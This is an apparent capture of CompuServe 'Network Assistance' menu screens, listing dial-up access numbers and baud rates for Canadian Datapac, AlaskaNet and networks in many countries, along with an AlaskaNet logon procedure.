905/788-2001 300-9600 DPC MTRLA +Wheatley ON 519/825-9391 300-9600 DPC MTRLA +Whitby ON 905/430-9880 300-9600 DPC MTRLA +Windsor ON 519/973-3909 300-9600 DPC MTRLA +Woodstock ON 519/421-2550 300-9600 DPC MTRLA +Borden PE 902/437-6548 300-9600 DPC MTRLA +Charlottetown PE 902/628-8701 300-9600 DPC MTRLA +Summerside PE 902/888-2247 300-9600 DPC MTRLA +Alma QC 418/668-6911 300-9600 DPC MTRLA +Amos QC 819/732-0503 300-9600 DPC MTRLA +Amqui QC 418/629-6451 300-9600 DPC MTRLA +Arthabaska QC 819/357-9436 300-9600 DPC MTRLA +Baie-Comeau QC 418/296-8927 300-9600 DPC MTRLA +Chandler QC 418/689-5581 300-9600 DPC MTRLA +Chateauguay QC 450/699-0396 300-9600 DPC MTRLA +Chibougameau QC 418/748-8151 300-9600 DPC MTRLA +Chicoutimi QC 418/698-0097 300-9600 DPC MTRLA +Deauville QC 819/562-2725 300-9600 DPC MTRLA +Dolbeau QC 418/679-8499 300-9600 DPC MTRLA +Donnaconna QC 418/285-3852 300-9600 DPC MTRLA +Drummondville QC 819/475-0080 300-9600 DPC MTRLA +Gaspe QC 418/368-4251 300-9600 DPC MTRLA +Gentilly QC 819/298-4306 300-9600 DPC MTRLA +Granby QC 450/378-3916 300-9600 DPC MTRLA +Hauterive QC 418/589-2911 1200 DPC 212 +Joliette QC 450/752-5360 300-9600 DPC MTRLA +Jonqui/Chicouti QC 418/698-0097 300-9600 DPC MTRLA +L'Annonciation QC 819/275-2723 300-9600 DPC MTRLA +La Malbaie QC 418/665-7561 300-9600 DPC MTRLA +La Sarre QC 819/333-1099 300-9600 DPC MTRLA +Lac Drolet QC 819/583-5193 300-9600 DPC MTRLA +Lac Megantic QC 819/583-5193 300-9600 DPC MTRLA +Lachute QC 450/562-2403 300-9600 DPC MTRLA +Latuque QC 819/523-5651 300-9600 DPC MTRLA +Louiseville QC 819/228-8417 300-9600 DPC MTRLA +Maniwaki QC 819/449-3544 300-9600 DPC MTRLA +Marie de Beauce QC 418/387-7635 300-9600 DPC MTRLA +Matagami QC 819/739-2300 300-9600 DPC MTRLA +Matane QC 418/562-7800 300-9600 DPC MTRLA +Mont Laurier QC 819/623-6986 300-9600 DPC MTRLA +Montmagny QC 418/248-3555 300-9600 DPC MTRLA +New Carlisle QC 418/752-6048 300-9600 DPC MTRLA +Rimouski QC 418/722-7519 300-9600 DPC MTRLA +Riviere du Loup QC 418/867-3566 300-9600 DPC MTRLA +Roberval QC 418/275-1252 300-9600 DPC MTRLA +Rouyn/Noranda QC 819/797-2915 300-9600 DPC MTRLA +Sept-Iles QC 418/962-7517 300-9600 DPC MTRLA +Shawinigan QC 819/537-9330 300-9600 DPC MTRLA +Sherbrooke QC 819/562-2725 300-9600 DPC MTRLA +Sorel QC 450/746-1799 300-9600 DPC MTRLA +St. Felicien QC 418/679-8499 300-9600 DPC MTRLA +St. George Beau QC 418/227-3282 300-9600 DPC MTRLA +St. Jean QC 450/358-2570 300-9600 DPC MTRLA +St. Jerome QC 450/565-4871 300-9600 DPC MTRLA +St. Sauveur QC 450/227-4532 300-9600 DPC MTRLA +St. Thomas QC 450/796-5178 300-9600 DPC MTRLA +Ste Agathe QC 819/326-9414 300-9600 DPC MTRLA +Ste Hyacinthe QC 514/774-9532 300-9600 DPC MTRLA +Ste Jovite QC 819/425-9841 300-9600 DPC MTRLA +Thetford Mines QC 418/338-0183 300-9600 DPC MTRLA +Trois Pistoles QC 418/851-4259 300-9600 DPC MTRLA +Trois Rivieres QC 819/693-7946 300-9600 DPC MTRLA +Val D'Or QC 819/874-1156 300-9600 DPC MTRLA +Valleyfield QC 514/377-2907 300-9600 DPC MTRLA +Victoriaville QC 819/752-3079 300-9600 DPC MTRLA +Estevan SK 306/634-1916 300-9600 DPC MTRLA +Melfort SK 306/752-4899 300-2400 DPC 224 +Moose Jaw SK 306/692-1026 300-9600 DPC MTRLA +N. Battleford SK 306/445-5673 300-9600 DPC MTRLA +Prince Albert SK 306/763-6441 300-9600 DPC MTRLA +Swift Current SK 306/773-2966 300-9600 DPC MTRLA +Weyburn SK 306/842-0441 300-9600 DPC MTRLA +Yorkton SK 306/786-7734 300-9600 DPC MTRLA +Whitehorse YT 867/668-9600 300-9600 DPC MTRLA + + + +Network Assistance PHN-15 + +LIST - Canadian Datapac + + 1 Province + 2 Area Code + +Enter choice ! + +Network Assistance PHN-14 + +Canadian Datapac + + 1 Logon Procedure + 2 List + 3 Search + 4 Only 2400 baud + +Last page, enter choice ! + +Network Assistance PHN-210 + +SUPPLEMENTAL NETWORKS (U.S. & CANADA) + + 1 SprintNet + 2 BT Tymnet + 3 Canadian Datapac + 4 AlaskaNet + +Enter choice !4 + +Network Assistance PHN-29 + +AlaskaNet + + 1 Logon Procedure + 2 List Numbers + +Enter choice !1 + +Network Assistance PHN-31 + + + +Scroll output? (Y)es or =No:Y + + + + + MCI WORLDCOM NETWORK ACCESS VIA ALASKANET + + + +1. Establish a connection by dialing your local AlaskaNet access number. + + YOUR SCREEN SHOWS: + + PLEASE ENTER YOUR TERMINAL IDENTIFIER. + + YOU ENTER: + + + A (no carriage return) + + YOUR SCREEN SHOWS: + + WELCOME TO ALASKANET + PLEASE LOG IN: + + YOU ENTER: + + CNS + + YOUR SCREEN SHOWS: + + + Host Name: + + For example, your organization's Host Name is ABC; + + YOU ENTER: + + ABC + + + + + +Last page ! + + + + +Network Assistance PHN-29 + +AlaskaNet + + 1 Logon Procedure + 2 List Numbers + +Enter choice !2 + +Network Assistance PHN-35 + + +Sorting, one moment please... + + +Scroll output? (Y)es or =No:Y + + + Domestic AlaskaNet Access Numbers + +CITY ST PHONE BAUD NET TYPE +---- -- ----- ------------------ --- ---- +Adak AK 907/592-2557 300-9600 AKN V32uds +Anchorage AK 907/258-7222 300-9600 AKN V32uds +Barrow AK 907/852-2425 300-9600 AKN V32uds +Bethel AK 907/543-2411 300-9600 AKN V32uds +Cantwell AK 907/768-2700 300-9600 AKN V32uds +Cordova AK 907/424-3744 300-9600 AKN V32uds +Craig AK 907/826-2948 300-9600 AKN V32uds +Dead Horse AK 907/659-2777 300-9600 AKN V32uds +Delta Junction AK 907/895-5070 300-9600 AKN V32uds +Dillingham AK 907/842-2688 300-9600 AKN V32uds +Fairbanks AK 907/456-3282 300-9600 AKN V32uds +Glennallen AK 907/822-5231 300-9600 AKN V32uds +Haines AK 907/766-2171 300-9600 AKN V32uds +Healy AK 907/683-1350 300-9600 AKN V32uds +Homer AK 907/235-5230 300-9600 AKN V32uds +Juneau AK 907/789-7009 300-9600 AKN V32uds +Ketchikan AK 907/225-1871 300-9600 AKN V32uds +King Salmon AK 907/246-3049 300-9600 AKN V32uds +Kodiak AK 907/486-4061 300-9600 AKN V32uds +Kotzebue AK 907/442-2602 300-9600 AKN V32uds +McGrath AK 907/524-3256 300-9600 AKN V32uds +Neklasson Lake AK 907/746-2121 300-9600 AKN V32uds +Nenana AK 907/832-5214 300-9600 AKN V32uds +Nome AK 907/443-2256 300-9600 AKN V32uds +Northway AK 907/778-2301 300-9600 AKN V32uds +Palmer AK 907/745-0200 300-9600 AKN V32uds +Petersberg AK 907/772-3878 300-9600 AKN V32uds +Seward AK 907/224-3126 300-9600 AKN V32uds +Sitka AK 907/747-5887 300-9600 AKN V32uds +Skagway AK 907/983-2170 300-9600 AKN V32uds +Soldotna AK 907/262-1990 300-9600 AKN V32uds +St. Paul AK 907/546-2320 300-9600 AKN V32uds +Tanana AK 907/366-7167 300-9600 AKN V32uds +Tok AK 907/883-4747 300-9600 AKN V32uds +Unalaska AK 907/581-1820 300-9600 AKN V32uds +Valdez AK 907/835-4987 300-9600 AKN V32uds +Whittier AK 907/472-2467 300-9600 AKN V32uds +Wrangle AK 907/874-2394 300-9600 AKN V32uds +Yakutat AK 907/784-3453 300-9600 AKN V32uds + + + +Network Assistance PHN-29 + +AlaskaNet + + 1 Logon Procedure + 2 List Numbers + +Enter choice ! + +Network Assistance PHN-210 + +SUPPLEMENTAL NETWORKS (U.S. & CANADA) + + 1 SprintNet + 2 BT Tymnet + 3 Canadian Datapac + 4 AlaskaNet + +Enter choice ! + +United States and Canada PHN-40 + + 1 CompuServe Network + 2 Supplemental Networks + +Enter choice ! + +Access Numbers & Logon Instructions PHN-10 + + 1 United States and Canada + 2 All Other Countries - Specify Country + 3 All Other Countries - Complete Access Number List + +Enter choice !3 + +Network Assistance PHN-47 + + + +Scroll output? (Y)es or =No:Y + + + COUNTRY AREA + CITY CODE CODE PHONE NUMBER NETWORK BAUD RATE + ------------------- ------- ------ ------------ ------- ------------------- + + **Angola** + + Luanda 244 2 397445 EQT 1200-9600 + + **Argentina** + + Buenos Aires 54 11 43260170 ARG 300-28,800 + Buenos Aires 54 11 43444505 ARG 300-56,000 + Buenos Aires 54 11 43451818 EQT 300-28,800 + + Cordoba 54 351 4246654 EQT 300-9600 + La Plata 54 221 4240856 EQT 300-9600 + Mar Del Plata 54 223 4959579 EQT 300-9600 + Mendoza 54 261 4297411 EQT 300-9600 + Rosario 54 341 4498853 EQT 300-9600 + + **Armenia** + + Yerevan 374 2 06146 EQT 300-9600 + + **Aruba** + + Aruba 297 8 31980 EQT 1200-9600 + + + **Australia** + + Adelaide 61 08 8338 2499 CPN 300-28,800 + Brisbane 61 07 3210 0180 CPN 300-33,600 + Canberra 61 02 6249 8496 CPN 300-28,800 + Darwin 61 08 8932 6610 CPN 300-33,600 + Gold Coast 61 07 5574 1580 CPN 300-33,600 + Hobart 61 03 6234-4504 CPN 300-33,600 + Melbourne (V90/ISDN) 61 03 9538 0560 CPN 300-64,000 + Newcastle 61 02 4965 4412 CPN 300-33,600 + Perth 61 08 9321 5233 CPN 300-33,600 + Sydney (V90/ISDN) 61 02 9465 9600 CPN 300-64,000 + + + **Austria** + + Bludenz 43 05552 33882 GBF 300-28,800 + Graz 43 0316 773950 GBF 300-28,800 + Innsbruck 43 0512 571540 GBF 300-28,800 + Linz 43 0732 653199 GBF 300-28,800 + Salzburg 43 0662 4678 CPS 300-33,600 + Salzburg 07189 15161 CPS 300-33,600 + Salzburg-ISDN 43 0662 4676 CPS 64,000 + Salzburg-ISDN 07189 15160 CPS 64,000 + Vienna 43 1 5056178 CPS 1200-33,600 + Vienna 07189 15161 CPS 300-33,600 + + Vienna-ISDN 43 1 51608 CPS 64,000 + Vienna-ISDN 07189 15160 CPS 64,000 + Villach 43 04242 25580 GBF 300-28,800 + + **Azerbaijan** + + Baku 994 12 972370 EQT 300-9600 + + **Bangladesh** + + Dhaka 880 2 9567723 EQT 9600 + + **Belarus** + + + Minsk 375 172 294416 EQT 300-9600 + + **Belgium** + + Antwerp 32 03 206 20 11 CPS 300-33,600 + Brussels (V90/ISDN) 32 02 726 88 30 CPS 1200-64,000 + Charleroi 32 071 32 25 05 GBF 300-28,800 + Gent 32 09 221 53 69 GBF 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Antigonish 1 902 863-1977 DPC 300-9600 + Arnolds Cove 1 709 463-2483 DPC 300-9600 + Arnprior 1 613 623-5748 DPC 300-9600 + Arthabaska 1 819 357-9436 DPC 300-9600 + Aurora 1 905 727-7172 DPC 300-9600 + Baie-Comeau 1 418 296-8927 DPC 300-9600 + + Banff 1 403 762-9475 DPC 300-9600 + Barrhead 1 780 674-2575 DPC 300-9600 + Barrie 1 705 737-9311 DPC 300-9600 + Bathurst 1 506 547-0114 DPC 300-9600 + Bay Roberts 1 709 786-0946 DPC 300-9600 + Belleville 1 613 969-8888 DPC 300-9600 + Bolton 1 905 453-4844 DPC 300-9600 + Bonnyville 1 780 826-4726 DPC 300-9600 + Borden 1 902 437-6548 DPC 300-9600 + Bracebridge 1 705 645-6789 DPC 300-9600 + Brampton 1 905 453-4844 DPC 9600 + Brandon 1 204 725-0593 DPC 300-9600 + Brantford 1 519 758-5161 DPC 300-9600 + + Bridgewater 1 902 543-5699 DPC 300-9600 + Brockville 1 613 498-1441 DPC 300-9600 + Brooks 1 403 362-0452 DPC 300-9600 + Calgary 1 403 294-9120 CPS 300-33,600 + Cambridge Bay 1 867 983-8870 DPC 300-2400 + Campbell River 1 250 287-9583 DPC 300-9600 + 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Kenora 1 807 467-3480 DPC 300-9600 + Kentville 1 902 679-1943 DPC 300-9600 + Kingston 1 613 547-0051 DPC 300-9600 + Kingston 1 902 765-3003 DPC 300-9600 + Kitchener 1 519 741-1100 CPS 300-33,600 + L'Annonciation 1 819 275-2723 DPC 300-9600 + La Malbaie 1 418 665-7561 DPC 300-9600 + La Sarre 1 819 333-1099 DPC 300-9600 + Labrador 1 709 944-2602 DPC 300-9600 + Lac Drolet 1 819 583-5193 DPC 300-9600 + Lac Megantic 1 819 583-5193 DPC 300-9600 + + Lachute 1 450 562-2403 DPC 300-9600 + Latuque 1 819 523-5651 DPC 300-9600 + Leduc 1 780 421-0250 DPC 300-1200 + Lethbridge 1 403 320-6294 DPC 300-9600 + Lewisporte 1 709 535-0475 DPC 300-9600 + Lindsay 1 705 324-3544 DPC 300-9600 + Listowel 1 519 291-3300 DPC 300-9600 + Lloydminister 1 780 875-0121 DPC 300-9600 + London 1 519 663-1880 CPS 300-33,600 + London 1 519 432-3201 DPC 300-9600 + Louiseville 1 819 228-8417 DPC 300-9600 + Maidstone 1 519 973-3909 DPC 300-9600 + Maniwaki 1 819 449-3544 DPC 300-9600 + + Marie de Beauce 1 418 387-7635 DPC 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300-9600 + Port Aux Basque 1 709 695-9771 DPC 300-9600 + Port Hardy 1 250 949-8976 DPC 300-9600 + Port Hawksbury 1 902 625-5430 DPC 300-9600 + Portage La Prairie 1 204 239-0355 DPC 300-9600 + Powell River 1 604 485-9457 DPC 300-9600 + Prince Albert 1 306 763-6441 DPC 300-9600 + Prince George 1 250 564-9246 DPC 300-9600 + Prince Rupert 1 250 627-4346 DPC 300-9600 + Quebec City 1 418 649-7082 CPS 300-33,600 + Quesnel 1 250 992-9084 DPC 300-9600 + Red Deer 1 403 346-6660 DPC 300-9600 + Regina 1 306 352-7168 CPS 300-33,600 + + Renfrew 1 613 432-9098 DPC 300-9600 + Richibucto 1 506 523-6408 DPC 300-9600 + Rimouski 1 418 722-7519 DPC 300-9600 + Riviere du Loup 1 418 867-3566 DPC 300-9600 + Roberval 1 418 275-1252 DPC 300-9600 + Rouyn/Noranda 1 819 797-2915 DPC 300-9600 + Sackville 1 506 536-1879 DPC 300-9600 + Saint John 1 506 633-0105 DPC 300-9600 + Salmon Arms 1 250 832-7825 DPC 300-9600 + Sarnia 1 519 339-9134 DPC 300-9600 + Saskatoon 1 306 242-4660 CPS 300-33,600 + Sault Ste Marie 1 705 946-0213 DPC 300-9600 + Selkirk 1 204 482-7050 DPC 300-9600 + + Sept-Iles 1 418 962-7517 DPC 300-9600 + Shawinigan 1 819 537-9330 DPC 300-9600 + Shawville 1 819 647-6301 DPC 300-9600 + Shediac 1 506 533-3180 DPC 300-9600 + Sherbrooke 1 819 562-2725 DPC 9600 + Sherwood Park 1 780 421-0268 DPC 300-1200 + Shippagan 1 506 336-1085 DPC 300-9600 + Simcoe 1 519 428-8018 DPC 300-9600 + Smithers 1 250 847-8859 DPC 300-9600 + Smiths Falls 1 613 284-1702 DPC 300-9600 + Sorel 1 450 746-1799 DPC 300-9600 + Springdale 1 709 673-2782 DPC 300-9600 + Squamish 1 604 892-5173 DPC 300-9600 + + St. Albert 1 780 421-0280 DPC 300-1200 + St. Andrew 1 506 529-3920 DPC 300-9600 + St. Anthony 1 709 454-2634 DPC 300-9600 + St. Catharines 1 905 688-4824 DPC 300-9600 + St. Felicien 1 418 679-8499 DPC 300-9600 + St. George Beau 1 418 227-3282 DPC 300-9600 + St. Jean 1 450 358-2570 DPC 300-9600 + St. Jerome 1 450 565-4871 DPC 300-9600 + St. John's 1 709 739-0357 DPC 300-9600 + St. Paul 1 780 645-1831 DPC 300-9600 + St. Quentin 1 506 235-2079 DPC 300-9600 + St. Sauveur 1 450 227-4532 DPC 300-9600 + St. Stephen 1 506 465-0996 DPC 300-9600 + + St. Thomas 1 519 633-5593 DPC 300-9600 + St. Thomas 1 450 796-5178 DPC 300-9600 + Ste Agathe 1 819 326-9414 DPC 300-9600 + Ste Hyacinthe 1 514 774-9532 DPC 300-9600 + Ste Jovite 1 819 425-9841 DPC 300-9600 + Steinbach 1 204 326-2972 DPC 300-9600 + Stephenville 1 709 643-2035 DPC 300-9600 + Stony Plain 1 780 421-0236 DPC 300-1200 + Stratford 1 519 272-2001 DPC 300-9600 + Sudbury 1 705 671-1127 DPC 300-9600 + Summerside 1 902 888-2247 DPC 300-9600 + Sussex 1 506 433-1625 DPC 300-9600 + Swift Current 1 306 773-2966 DPC 300-9600 + + Sydney 1 902 567-1460 DPC 300-9600 + Taber 1 403 223-8299 DPC 300-9600 + Terrace 1 250 638-8908 DPC 300-9600 + The Pas 1 204 623-4543 DPC 300-9600 + Thetford Mines 1 418 338-0183 DPC 300-9600 + Thompson 1 204 677-2376 DPC 300-9600 + Thunder Bay 1 807 623-5762 DPC 300-9600 + Tillsonburg 1 519 688-3117 DPC 300-9600 + Timmins 1 705 268-9540 DPC 300-9600 + Toronto 1 416 367-8122 CPS 300-33,600 + Tracadie 1 506 395-9748 DPC 300-9600 + Trail 1 250 364-0928 DPC 300-9600 + Trois Pistoles 1 418 851-4259 DPC 300-9600 + + Trois Rivieres 1 819 693-7946 DPC 300-9600 + Truro 1 902 895-9348 DPC 300-9600 + Uxbridge 1 905 852-4502 DPC 300-9600 + Val D'Or 1 819 874-1156 DPC 300-9600 + Valleyfield 1 514 377-2907 DPC 300-9600 + Vancouver 1 604 739-8194 CPS 300-33,600 + Vegreville 1 780 632-4002 DPC 300-9600 + Vernon 1 250 549-5187 DPC 300-9600 + Victoria 1 250 479-9452 CPS 300-33,600 + Victoriaville 1 819 752-3079 DPC 300-9600 + Wainwright 1 780 842-6700 DPC 300-9600 + Walkerton 1 519 881-3070 DPC 300-9600 + Wallace 1 902 257-2108 DPC 300-9600 + + Welland 1 905 788-2001 DPC 300-9600 + Weyburn 1 306 842-0441 DPC 300-9600 + Wheatley 1 519 825-9391 DPC 300-9600 + Whistler 1 604 932-4293 DPC 300-9600 + Whitby 1 905 430-9880 DPC 300-9600 + Whitehorse 1 867 668-9600 DPC 300-9600 + Williams Lake 1 250 392-3090 DPC 300-9600 + Windsor 1 519 973-3909 DPC 300-9600 + Windsor 1 902 798-0614 DPC 300-9600 + Winnipeg 1 204 489-9747 CPS 300-33,600 + Woodstock 1 506 325-2937 DPC 300-9600 + Woodstock 1 519 421-2550 DPC 300-9600 + Yarmouth 1 902 742-3003 DPC 300-9600 + + Yellowknife 1 867 920-9600 DPC 300-9600 + Yorkton 1 306 786-7734 DPC 300-9600 + + **Cape Verde Islands** + + Praia 238 612023 EQT 300-28,800 + + **Chile** + + Concepcion 56 41 239514 EQT 300-9600 + Iquique 56 57 423619 EQT 300-9600 + Punta Arenas 56 61 229400 EQT 300-9600 + Santiago 56 02 6973081 EQT 1200-28,800 + + Santiago 56 02 3610099 INW 300-28,800 + + **Colombia** + + Bogota 57 01 622-4111 EQT 300-28,800 + Bogota 57 01 410-8953 INW 300-2400 + Bogota 57 01 410-3986 INW 300-2400 + Bogota 57 01 410-3987 INW 300-2400 + Bogota 57 01 410-8492 INW 300-2400 + Bogota 57 01 410-3988 INW 300-28,800 + Bogota 57 01 317-6550 VNZ 300-33,600 + Bogota 57 01 347-0600 VNZ 300-33,600 + Cali 57 2 660-3900 VNZ 300-33,600 + + Medellin 57 04 513-9393 EQT 300-28,800 + + **Costa Rica** + + San Jose 506 2870800 EQT 300-9600 + + **Cote d'lvoire** + + Cote d'lvoire 225 328855 EQT 300-9600 + + **Croatia** + + Dubrovnik 385 20413710 EQT 300-9600 + + Rieka 385 51227664 EQT 300-9600 + Split 385 21355410 EQT 300-9600 + Zagreb 385 16117055 EQT 1200-28,800 + + **Czech Republic** + + Prague 420 2 24815281 EQT 1200-28,800 + Ruzyne Prague Airport 420 2 20113739 EQT 300-9600 + + **Denmark** + + Copenhagen 45 36445464 CPS 1200-33,600 + + + **Dominican Republic** + + Santo Domingo 1 809 5339181 EQT 1200-9600 + + **Ecuador** + + Guayaquil 593 4 511000 EQT 300-28,800 + Quito 593 2 505000 EQT 1200-28,800 + + **Egypt** + + Alexandria 20 03 4843175 EQT 300-9600 + Cairo 20 02 4560100 EQT 1200-9600 + + Hurghada 20 65 445044 EQT 300-9600 + Sharm El Sheikh 20 62 601636 EQT 300-9600 + + **England** + + National (V90/ISDN) 44 0845 080 1000 CPS 300-64,000 + + **Estonia** + + Tallinn 372 06 410730 EQT 300-9600 + + **Finland** + + + Helsinki 358 9 615235 CPS 300-33,600 + + **France** + + Monaco 33 0492150203 FTT 300-33,600 + Monaco-RNIS 33 0492150203 FTT 64,000 + National 33 0836061319 FTT 300-33,600 + National-RNIS 33 0836061319 FTT 64,000 + Paris (V90/RNIS) 33 0141880840 CPS 300-64,000 + Paris (V90/RNIS) 33 0141020304 CPS 300-64,000 + + **French Guiana** + + + Cayenne 59 4 358588 EQT 300-9600 + + **Germany** + + -Bundesweit Ortstarif 49 01088 0191919 UUN 300-64,000 + Aachen 49 0241 4740624 UUN 300-33,600 + Aalen 49 07365 961724 UUN 300-33,600 + Augsburg 49 0821 5096824 UUN 300-33,600 + Bamberg 49 0951 9860124 UUN 300-33,600 + Berlin* 49 030 691000 CPS 1200-33,600 + Berlin-ISDN* 49 030 690820 CPS 64,000 + Bielefeld 49 0521 9141524 UUN 300-33,600 + Bonn 49 0228 9838224 UUN 300-33,600 + + Braunschweig 49 0531 2207624 UUN 300-33,600 + Bremen 49 0421 2024524 UUN 300-33,600 + Chemnitz 49 03723 694824 UUN 300-33,600 + Cologne* 49 0221 2406202 CPS 1200-33,600 + Cologne-ISDN* 49 0221 924350 CPS 64,000 + Darmstadt 49 06151 3895624 UUN 300-33,600 + Dortmund* 49 0231 4461032 CPS 1200-33,600 + Dortmund-ISDN* 49 0231 44950 CPS 64,000 + Dresden* 49 0351 8800000 CPS 300-33,600 + Dresden-ISDN* 49 0351 88270 CPS 64,000 + Duesseldorf (V90/ISDN) 49 0211 4792424 CPS 1200-64,000 + Duisburg 49 0203 9366524 UUN 300-33,600 + Erfurt 49 0361 4427424 UUN 300-33,600 + + Essen 49 0201 760424 UUN 300-33,600 + Frankfurt (V90/ISDN)* 49 069 73998611 CPS 1200-64,000 + Freiburg 49 0761 2074724 UUN 300-33,600 + Fulda 49 0661 9694624 UUN 300-33,600 + Giessen 49 06033 880424 UUN 300-33,600 + Goettingen 49 0551 9991824 UUN 300-33,600 + Halle 49 0345 2118924 UUN 300-33,600 + Hamburg* 49 040 6913666 CPS 1200-33,600 + Hamburg-ISDN* 49 040 611410 CPS 64,000 + Hamm 49 02381 9194924 UUN 300-33,600 + Hannover (V90/ISDN)* 49 0511 7242909 CPS 1200-64,000 + Herten 49 02366 185024 UUN 300-33,600 + Ingolstadt 49 0841 9748724 UUN 300-33,600 + + Jena 49 03641 291624 UUN 300-33,600 + Kaiserslautern 49 06301 713024 UUN 300-33,600 + Karlsruhe* 49 0721 859818 CPS 300-33,600 + Karlsruhe-ISDN* 49 0721 98010 CPS 64,000 + Kassel 49 0561 3181924 UUN 300-33,600 + Kiel 49 0431 3192924 UUN 300-33,600 + Koeln* 49 0221 2406202 CPS 1200-33,600 + Koeln-ISDN* 49 0221 924350 CPS 64,000 + Kuenzelsau 49 07940 93624 UUN 300-33,600 + Leipzig 49 0341 1416624 UUN 300-33,600 + Luebeck 49 0451 8727024 UUN 300-33,600 + Magdeburg 49 03928 484624 UUN 300-33,600 + Mannheim* 49 0621 1569000 CPS 1200-33,600 + + Mannheim-ISDN* 49 0621 16840 CPS 64,000 + Minden 49 0571 9462724 UUN 300-33,600 + Moenchen-Gladbach 49 02161 4089524 UUN 300-33,600 + Muenster 49 0251 6096124 UUN 300-33,600 + Munich (V90/ISDN)* 49 089 66559393 CPS 1200-64,000 + Nuremberg* 49 0911 5191500 CPS 1200-33,600 + Nuremburg-ISDN* 49 0911 95120 CPS 64,000 + Offenburg 49 0781 9696724 UUN 300-33,600 + Paderborn 49 05251 6909124 UUN 300-33,600 + Pforzheim 49 07231 956724 UUN 300-33,600 + Ravensburg 49 0751 5618724 UUN 300-33,600 + Regensburg 49 0941 5857224 UUN 300-33,600 + Rostock 49 0381 8018324 UUN 300-33,600 + + Saarbruecken 49 0681 9928324 UUN 300-33,600 + Schwerin 49 0385 6478024 UUN 300-33,600 + Siegen 49 0271 880424 UUN 300-33,600 + Stuttgart (V90/ISDN)* 49 0711 2261699 CPS 1200-64,000 + Trier 49 0651 1467324 UUN 300-33,600 + Tuebingen 49 07071 750424 UUN 300-33,600 + Ulm 49 0731 9621324 UUN 300-33,600 + Unna 49 02304 947424 UUN 300-33,600 + Villingen 49 07721 847724 UUN 300-33,600 + Wiesbaden 49 0611 9732324 UUN 300-33,600 + Wuerzburg 49 0931 6000124 UUN 300-33,600 + Wuppertal 49 0202 2803924 UUN 300-33,600 + + + **Ghana** + + Accra 233 21 233643 EQT 300-9600 + + **Gibraltar** + + Gibraltar 350 51893 EQT 300-9600 + + **Great Britain** + + National (V90/ISDN) 44 0845 080 1000 CPS 300-64,000 + + **Greece** + + + Athens 30 1 9647707 EQT 1200-28,800 + Corfu 30 661 36445 EQT 300-9600 + Heraklion 30 81 324495 EQT 1200-28,800 + Ioannina 30 651 66801 EQT 300-9600 + Kavala 30 51 227545 EQT 300-9600 + Patras 30 61 270074 EQT 300-28,800 + Rhodes 30 241 39875 EQT 300-9600 + Thessaloniki 30 31 242043 EQT 1200-28,800 + + **Guadeloupe** + + Point a Pitre 590 915834 EQT 300-9600 + + + **Guam** + + Guam 1 671 477-6871 EQT 1200-28,800 + + **Guatemala** + + Guatemala City 502 2 300931 EQT 300-9600 + + **Guinea** + + Conakry 224 415546 EQT 300-9600 + + + **Haiti** + + Port-au-Prince 509 237489 EQT 300-9600 + + **Hong Kong** + + Hong Kong (V90/ISDN) 852 3002-3333 CPS 300-64,000 + + **Hungary** + + Budapest 36 1 291 9999 CPS 300-33,600 + + **Iceland** + + + Rejkjavik 354 5511666 EQT 1200-9600 + + **Indonesia** + + Denpasar Bali 62 361 289652 EQT 300-9600 + Jakarta 62 21 386-4550 EQT 300-28,800 + Jakarta 62 21 522-9252 INW 300-2400 + Jakarta 62 21 526-0800 INW 9600-14,400 + Jakarta Airport 62 21 550-2925 EQT 300-9600 + Surabaya 62 31 545-5952 EQT 300-9600 + + **Ireland** + + + Cork 353 21 278-273 EQT 300-9600 + Dublin 353 01 406-0100 CPS 300-33,600 + Shannon 353 61 474-503 EQT 300-9600 + + **Israel** + + Haifa 972 4 8629160 TRN 9600-28,800 + Jerusalem 972 2 6738917 TRN 9600-28,800 + Raanana 972 9 7712034 TRN 9600-28,800 + Tel Aviv 972 3 6393332 TRN 9600-14,400 + Tel Aviv 972 3 6393308 TRN 9600-33,600 + + + **Italy** + + Ancona 39 071 2804597 EQT 300-9600 + Bari 39 080 5316139 EQT 300-9600 + Bergamo 39 035 231786 EQT 300-9600 + Bolzano 39 0471 981783 EQT 300-9600 + Brescia 39 30 2420587 EQT 300-9600 + Catania 39 095 532557 EQT 300-9600 + Florence 39 055 5015540 EQT 300-28,800 + Genoa 39 010 588162 EQT 300-28,800 + Milan 39 02 22479532 CPS 1200-33,600 + Naples 39 081 5512011 EQT 300-28,800 + Olbia 39 0789 67613 EQT 300-9600 + + Padua 39 049 8076801 EQT 300-28,800 + Parma 39 0521 238460 EQT 300-9600 + Rimini 39 0541 53031 EQT 300-9600 + Rome 39 06 51957347 CPS 1200-33,600 + Turin 39 011 533554 EQT 300-28,800 + Udine 39 0432 295260 EQT 300-9600 + Venice 39 041 5340331 EQT 300-28,800 + Verona 39 045 8002387 EQT 300-28,800 + + **Ivory Coast** + + Abidjan 225 328855 EQT 1200-9600 + + + **Japan** + + Akita 81 0188 37-7211 FEN 9600-14,400 + Aomori 81 0177 29-1505 FEN 9600-14,400 + Atsugi 81 0462 27-0102 FEN 28,800 + Chiba 81 043 229-3350 FEN 9600-14,400 + Chiba 81 043 299-3821 FEN 28,800 + Chofu 81 0424 41-6551 FEN 9600-14,400 + Chofumitaka 81 0422 76-5500 FEN 9600-14,400 + Chofumitaka 81 0422 72-2100 FEN 28,800 + Fujisawa 81 0466 24-0150 FEN 9600-14,400 + Fujisawa 81 0466 24-4221 FEN 28,800 + Fukuchiyama 81 0773 24-6070 FEN 9600-14,400 + + Fukui 81 0776 67-5921 FEN 9600-14,400 + Fukuoka 81 092 852-2040 FEN 9600 + Fukuoka 81 092 852-6200 FEN 9600-14,400 + Fukuoka 81 092 852-6100 FEN 28,800 + Fukushima 81 0245 75-3001 FEN 28,800 + Funabashi 81 0474 35-8041 FEN 9600-14,400 + Gihu 81 058 253-8419 FEN 9600-14,400 + Gihu 81 058 255-0036 FEN 9600 + Hachinohe 81 0178 45-0078 FEN 9600-14,400 + Hachioji 81 0426 45-4441 FEN 9600-14,400 + Hachioji 81 0426 45-4700 FEN 28,800 + Hakodate 81 0138 32-8380 FEN 9600-14,400 + Hakodate 81 0138 56-8671 FEN 28,800 + + Hamamatsu 81 053 458-4388 FEN 9600-14,400 + Hamamatsu 81 053 451-3121 FEN 28,800 + Higashi Hiroshi 81 0824 21-2600 FEN 9600-14,400 + Hikone 81 0749 27-4003 FEN 28,800 + Himeji 81 0792 88-7740 FEN 9600-14,400 + Himeji 81 0792 83-0219 FEN 28,800 + Hirakata 81 0720 45-1911 FEN 9600-14,400 + Hiratsuka 81 0463 24-4822 FEN 9600-14,400 + Hiratsuka 81 0463 24-8080 FEN 28,800 + Hirosaki 81 0172 38-7110 FEN 28,800 + 